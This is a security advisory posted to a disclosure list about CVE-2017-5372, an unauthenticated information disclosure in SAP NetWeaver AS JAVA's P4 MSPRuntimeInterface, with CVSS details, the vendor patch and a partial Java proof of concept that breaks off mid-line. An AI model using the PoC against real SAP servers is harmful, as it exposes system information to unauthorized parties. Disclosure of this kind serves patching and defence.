[FD] [ERPSCAN-16-037] SAP NetWeaver AS JAVA P4 - INFORMATION DISCLOSURE

Application: SAP NetWeaver AS JAVA Versions Affected: SAP NetWeaver AS JAVA 7.11-7.4 Vendor URL: http://SAP.com Bugs: Information disclosure Sent: 10.03.2016 Reported: 11.03.2016 Vendor response: 11.03.2016 Date of Public Advisory: 12.10.2016 Reference: SAP Security Note 2331908 Author: Vahagn @vah_13 Vardanyan (ERPScan) Description 1. ADVISORY INFORMATION Title:[ERPSCAN-16-037] SAP NetWeaver AS JAVA P4 MSPRUNTIMEINTERFACE INFORMATION DISCLOSURE Advisory ID:[ERPSCAN-16-037] Risk: high Advisory URL: http://ift.tt/2k4KjpE Date published: 11.01.2017 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: Information disclosure Impact: broken authentication Remotely Exploitable: yes Locally Exploitable: no CVE: CVE-2017-5372 CVSS Information CVSS Base Score v3: 7.3 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) Low (L) PR : Privileges Required (Level of privileges needed to exploit) None (N) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality Low (L) I : Impact to Integrity Low (L) A : Impact to Availability Low (L) 3. VULNERABILITY DESCRIPTION Anonymous attacker can send a special request and get sensitive information about an SAP system using SAP P4. 4. VULNERABLE PACKAGES SERVERCORE 7.11 7.20 7.30 7.31 7.40 7.50 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2331908 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION SAP AS JAVA P4 function msp (MSPRuntimeInterface) does not require any authorization to call the following functions: getInformation getParameters getServiceInfo getStatistic getClientStatistic PoC (Java language) package sap_p4_poc; ***** Properties p = new Properties(); p.put("java.naming.factory.initial", "com.sap.engine.services.jndi.InitialContextFactoryImpl"); p.put("java.naming.provider.url", SAP_IP+":"+SAP_PORT); InitialContext initialContext = new InitialContext(p); Context initialContext = initialContext; MSPRuntimeInterface serialObj = (MSPRuntimeInterface)initialContext.lookup("msp"); System.out.println(

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